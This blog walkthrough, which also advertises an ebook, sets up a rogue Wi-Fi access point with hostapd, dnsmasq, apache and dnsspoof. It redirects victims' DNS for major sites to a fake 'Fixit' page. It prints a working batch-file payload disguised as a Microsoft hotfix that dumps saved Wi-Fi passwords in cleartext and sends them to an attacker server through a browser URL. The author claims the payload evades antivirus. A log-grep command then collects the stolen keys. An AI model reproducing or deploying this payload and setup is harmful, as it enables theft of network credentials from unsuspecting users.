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The Ultimate Fake Access Point [Walkthrough]

 

Overview

Assuming that you are capable of setting up a fake access point and setup Apache configuration accordingly to fool victim(s) I am beginning this walk-through.

In this scenario, we are using one alfa wireless adapter and an Ethernet connection (under VM) for optional Internet accessibility. You can also run this attack perfectly using virtual interfaces without any hassle. Just make sure you use interface names appropriately.

Tools Used:

  • hostapd (or airbase-ng)
  • dnsmasq (or isc-dhcp-server)
  • apache2
  • nano or vi Text Editor
  • grep
  • Secret Sauce
This article is an excerpt from my WiFi Penetration testing and Security eBook in which I talk about hacking WiFi enabled devices with rogue access points, war driving, custom captive portals and splash page, multiple access points from a single NIC and much more. Click here to download the sample copy

Out of all choices above I am choosing the former ones to set up the attack scenario for quicker and easier setup. You may choose latter ones also, depending on your comfort with the tools

Setup Access Point

Introduction for Beginners

Hostapd

To create a specific type of access point, be it Open, WPA2 personal, enterprise or karma attack.

Keep everything commented in your arsenal, for later use.

Dnsmasq

Lightweight DNS/DHCP server. It is used to resolve dns requests from/to a machine and also acts as DHCP server to allocate IP addresses to the clients.

Apache

Basically, it acts as a web server to the client (victim). But you can transcend capabilities of your web server and fake AP using this powerful tool, apache.

Though it’s not necessary to have apache and/or mysql in just any attack.

hostapd and dnsmasq are required in just any case you want to setup a fake AP. Though there are some advanced techniques which may differ according to the attack scenario.

Advanced techniques which may use flexibility and features of apache

Example:

Say you force-connected victim to your AP and simply want to sniff or redirect the traffic. You do not need apache at all.

But in case you want to respond to the web based requests made by the victim, you can manipulate it in a certain way to get the maximum sensitive information out of it.

Kind of lost? No worries. I have got you covered here for an in-depth understanding of every related topic.

I teach about different attack scenarios and variety of roles of apache, mySQL, hacking client devices like android, iPhone, Macs in it.

But that’s a story for another day. Let us continue and configure the fundamentally required tools i.e. hostapd, dnsmasq

NOTE: All the commands are executed as root. Use sudo, if you are non-root (standard user)

Installation:

Make sure latest version of tools is installed:

apt update
apt install hostapd dnsmasq apache2

Now create a directory where you’ll save all the configuration files.

cd ~/Desktop
mkdir fakeap/

Configure hostapd

Create a directory for saved configuration files. Create and edit hostapd configuration file.

nano hostapd.conf

hostapd.conf

interface=<Your Fake AP interface>
driver=nl80211
ssid=<Desired AP Name>
hw_mode=g
channel=<Target AP Channel number>
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

Save and exit file. Make sure you edit the changes accordingly every time you perform an attack.

Operating Channel number can cause issues if not chosen properly.

Configure dnsmasq

Edit dnsmasq configuration file

nano dnsmasq.conf

dnsmasq.conf

interface=<Fake AP Interface name>         # wlan0 with hostapd, at0 with airbase-ng
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Make sure to define proper interface in dnsmasq.conf file.

Parameter Breakdown:

dhcp-range=10.0.0.10,10.0.0.250,12h:    Client IP address will range from 10.0.0.10 to 10.0.0.250 And default lease time is 12 hours.
dhcp-option=3,10.0.0.1:    3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1
dhcp-option=6,10.0.0.1:    6 for DNS Server followed by IP address

That’s all for configuration. Simple, isn’t it?

let’s run the server and our fake AP now

Step 1: Start Fake Access Point

First, kill troublesome processes that might be running already.

killall network-manager dnsmasq wpa_supplicant dhcpd

Start hostapd with your configuration file.

Syntax: hostapd /path/to/configuration/file.conf

cd ~/Desktop/fakeap/
hostapd hostapd.conf

Now that you have hostapd up and running we need to run a dhcp server that will allocate IP addresses to the clients(victims)

Step 2: Start dhcp server

Run dnsmasq with configuration file in debug mode

Syntax: dnsmasq -C /path/to/configuration/file.conf -d

dnsmasq -C dnsmasq.conf -d

Optional configurations

You can create an optional fakehosts.conf file for dnsmasq to allow it to redirect a target website traffic to your desired IP address. It will simply tell client that target-site.com

Is hosted on our target IP address.

vi fakehosts.conf

Copy and insert the following text into fakehosts.conf
fakehosts.conf

10.0.0.1    apple.com
10.0.0.1    google.com
10.0.0.1    android.clients.google.com
10.0.0.1    microsoft.com
10.0.0.1    android.com

That’s all. Just pass the -H flag to dnsmasq. If you want attack to be targeted towards a website or a specific client you can also include fakehosts.conf for dns spoofing passed along -H flag

dnsmasq -C dnsmasq.conf -H fakehosts.conf -d

Step 3: Configure apache2 webserver

Apache’s Rewrite Engine allows us to manipulate web requests on the go. Using this technique, we can do a tonne of stuff with our victim. Be it an Android, iOS device, A Windows computer or a Mac. You can just design your apache web server to attack specifically at the kind of target, or you could even target a specific O.S version.

Cool, right?

Say different attack vector for iOS 9.x clients and different for iOS 10 clients. It just works!

Here, we are targeting Windows machine because it has the widest install base. So, a pretty widespread target Windows is for a hacker.

Edit apache default configuration file to configure rewrite functionality. This will redirect almost any URL including sub directories back to our Fake AP page.

Open apache’s default configuration file

nano /etc/apache2/sites-enabled/000-default

And enter the lines after --> add  in the file between /directory tag /directory.

Do not include --> add itself

Take note we are adding a directory called /Fixit as an exception. It is case sensitive
etc/apache2/sites-enabled/000-default

<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all

--> add    RewriteEngine On 
--> add    RewriteCond  %{REQUEST_URI}  !^/Fixit
--> add    RewriteRule ^.*$ /Fixit/

</Directory>

Use your social engineering skills and craft a webpage to trap the user into download and execute your payload. You need to put the index.html file in /var/www/html/Fixit/

Enable mod_rewrite module

a2enmod rewrite

You must restart apache2 to update the configuration.

service apache2 restart

Step 4: Spoof DNS requests to apache

Running dnsspoof will simply redirect all the HTTP (not HTTPS) requests to our apache server and won’t let victim access the Internet (if IP forwarding is disabled).

This might not be useful if you are attacking targeted domains alongside internet access. In that case use fakehosts.conf file with dnsmasq

But for now, we aren’t providing internet access to victim but simply pwn’em all. So, run:

dnsspoof -i wlan0       #wlan0 is interface hostapd is operating on

Step 5: Harvest the Keys

Run apache access.log in output appended data mode and pipe it through grep.

The regex will parse our incoming secret sauce for up to 20-character SSID/names, AP authentication type, and 8-64 character WLAN keys.

tail -F /var/log/apache2/access.log | grep -E -o "<name>.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</name>"\|"<keyMaterial>..?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</keyMaterial>"\|"<authentication>.?.?.?.?.?.?.?.?.?.?.?</authentication>" | uniq

Command Breakdown:

tail -F <logfile>:    Tail command with -F parameter with read last 10 lines of access.log file, wait and display the data as soon as appended.
Output is then passed on to grep, in real-time

grep:
-E :       Interpret PATTERN as an extended regular expression
-o :       Print only the matched (non-empty) parts of a matching line, with each such part on a separate output line
uniq:      Remove repeated entries

Take a break…

Step 6: Wrapping UP

Make a directory called Fixit in /var/www/, case-sensitive!

mkdir /var/www/Fixit

Step 7: Secret Sauce

The index.html download link points to my custom file like Microsoft-Windows-Hotfix.bat. this batch file is not overly complicated, it will not trip antivirus or be affected by any firewall. If the web browser works, this will work.

@echo off
SET mypath=%~dp0
netsh wlan export profile > nul
netsh wlan export profile key=clear > nul
setlocal enableextensions enabledelayedexpansion

set /a counter=0
set filecontent=
for %%b in (*.xml) do (
set /a counter=!counter! + 1
:: echo %%b
for /f "delims=" %%a in ('type "%mypath%\%%b"') do (
set filecontent=!filecontent!%%a
)
)

echo !filecontent! > %filename%\data.txt

@rem The next line is platform specific. Sometimes in a diff folder
"c:\Program Files\Internet Explorer\iexplore.exe" microsoftfix.com/"!filecontent!"

As soon as the victim executes the malicious Wi-Fi key sniffer, it will extract and decrypt the WLAN profiles, open up the internet explorer on victim device with a URL pointing to microsoftfix.com (our server) with the harvested Wi-Fi keys within the URL. Everything is then stored in our apache logs (/var/logs/apache2/access.log)

I chose URL because it is the safest way to send data to the server. FTP could be blocked on few machines by firewalls, but as victim downloaded the file, it means browser can be leveraged for information transfer without triggering the Anti-virus.

All you need to do is filter the data for authentication type and the key material (Wi-Fi password). We filtered that in step 5, using tail and grep commands

<name>rootsh3ll</name>
<authentication>WPA2PSK</authentication>
<keyMaterial>iamrootsh3ll</keyMaterial>

No need to do anything extra. Everything is setup, watch the credentials coming.

To be honest, at this stage this attack isn’t stealthy at all. It’s very sketchy

A batch file for update? Some super-long XML-ish code in my URL?

These could be a reason that most likely cross victim’s mind under suspicion. To bypass this, we need to “look” legitimate to the end-user. We have to make it stealthy and more effective.

This is where The WiFi Pentesting and Security eBook comes into play.

I’ve mentioned all the methods with codes included in the book to make it stealthy while keeping it anti-virus proof.

Click the image below to checkout the detailed description of topics covered in the ebook

Till then Keep Learning!

 

Talk soon,

Harry